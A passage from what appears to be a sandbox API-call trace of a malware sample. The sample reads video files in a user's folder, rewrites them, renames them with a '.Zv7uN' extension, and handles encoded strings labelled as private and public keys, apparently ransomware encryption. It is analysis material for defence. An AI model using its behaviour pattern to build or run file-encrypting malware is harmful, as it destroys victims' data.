lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x8c0a, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x8c0a, lpOverlapped=0x0) returned 1 [0087.169] CloseHandle (hObject=0x104) returned 1 [0087.170] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\cSsK3Xa3I8N9gp_g.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\cssk3xa3i8n9gp_g.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.172] WriteFile (in: hFile=0x104, lpBuffer=0x1f22e00*, nNumberOfBytesToWrite=0x8c0a, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f22e00*, lpNumberOfBytesWritten=0x18f3e0*=0x8c0a, lpOverlapped=0x0) returned 1 [0087.175] CloseHandle (hObject=0x104) returned 1 [0087.177] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\cSsK3Xa3I8N9gp_g.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\cssk3xa3i8n9gp_g.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\cSsK3Xa3I8N9gp_g.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\cssk3xa3i8n9gp_g.mkv.zv7un")) returned 1 [0087.178] GetCurrentThreadId () returned 0xa30 [0087.178] GetCurrentThreadId () returned 0xa30 [0087.179] GetCurrentThreadId () returned 0xa30 [0087.179] GetCurrentThreadId () returned 0xa30 [0087.179] GetCurrentThreadId () returned 0xa30 [0087.179] GetCurrentThreadId () returned 0xa30 [0087.179] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e4ba20, ftCreationTime.dwHighDateTime=0x1d5d8a4, ftLastAccessTime.dwLowDateTime=0x512c8480, ftLastAccessTime.dwHighDateTime=0x1d5e47b, ftLastWriteTime.dwLowDateTime=0x512c8480, ftLastWriteTime.dwHighDateTime=0x1d5e47b, nFileSizeHigh=0x0, nFileSizeLow=0x18973, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="I3bWl8wArAF2fKrlEE.mkv", cAlternateFileName="I3BWL8~1.MKV")) returned 1 [0087.179] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.179] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.179] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\I3bWl8wArAF2fKrlEE.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\i3bwl8waraf2fkrlee.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e4ba20, ftCreationTime.dwHighDateTime=0x1d5d8a4, ftLastAccessTime.dwLowDateTime=0x512c8480, ftLastAccessTime.dwHighDateTime=0x1d5e47b, ftLastWriteTime.dwLowDateTime=0x512c8480, ftLastWriteTime.dwHighDateTime=0x1d5e47b, nFileSizeHigh=0x0, nFileSizeLow=0x18973)) returned 1 [0087.179] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\I3bWl8wArAF2fKrlEE.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\i3bwl8waraf2fkrlee.mkv")) returned 0x20 [0087.179] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\I3bWl8wArAF2fKrlEE.mkv", dwFileAttributes=0x80) returned 1 [0087.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.181] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.182] GetCurrentThreadId () returned 0xa30 [0087.182] GetCurrentThreadId () returned 0xa30 [0087.182] GetCurrentThreadId () returned 0xa30 [0087.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.183] GetCurrentThreadId () returned 0xa30 [0087.184] GetCurrentThreadId () returned 0xa30 [0087.184] GetCurrentThreadId () returned 0xa30 [0087.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\I3bWl8wArAF2fKrlEE.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\i3bwl8waraf2fkrlee.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.184] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.184] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.184] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x18973 [0087.184] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.184] ReadFile (in: hFile=0x104, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x18973, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x18973, lpOverlapped=0x0) returned 1 [0087.187] CloseHandle (hObject=0x104) returned 1 [0087.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\I3bWl8wArAF2fKrlEE.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\i3bwl8waraf2fkrlee.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.192] WriteFile (in: hFile=0x104, lpBuffer=0x1f32e00*, nNumberOfBytesToWrite=0x18973, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f32e00*, lpNumberOfBytesWritten=0x18f3e0*=0x18973, lpOverlapped=0x0) returned 1 [0087.197] CloseHandle (hObject=0x104) returned 1 [0087.199] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\I3bWl8wArAF2fKrlEE.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\i3bwl8waraf2fkrlee.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\I3bWl8wArAF2fKrlEE.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\i3bwl8waraf2fkrlee.mkv.zv7un")) returned 1 [0087.200] GetCurrentThreadId () returned 0xa30 [0087.200] GetCurrentThreadId () returned 0xa30 [0087.200] GetCurrentThreadId () returned 0xa30 [0087.200] GetCurrentThreadId () returned 0xa30 [0087.200] GetCurrentThreadId () returned 0xa30 [0087.200] GetCurrentThreadId () returned 0xa30 [0087.201] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901be760, ftCreationTime.dwHighDateTime=0x1d5e4e1, ftLastAccessTime.dwLowDateTime=0xede1890, ftLastAccessTime.dwHighDateTime=0x1d5e60c, ftLastWriteTime.dwLowDateTime=0xede1890, ftLastWriteTime.dwHighDateTime=0x1d5e60c, nFileSizeHigh=0x0, nFileSizeLow=0x164ec, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="p-DCXOZdeMaVqNaXbUjy.avi", cAlternateFileName="P-DCXO~1.AVI")) returned 1 [0087.201] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.201] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.201] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\p-DCXOZdeMaVqNaXbUjy.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\p-dcxozdemavqnaxbujy.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901be760, ftCreationTime.dwHighDateTime=0x1d5e4e1, 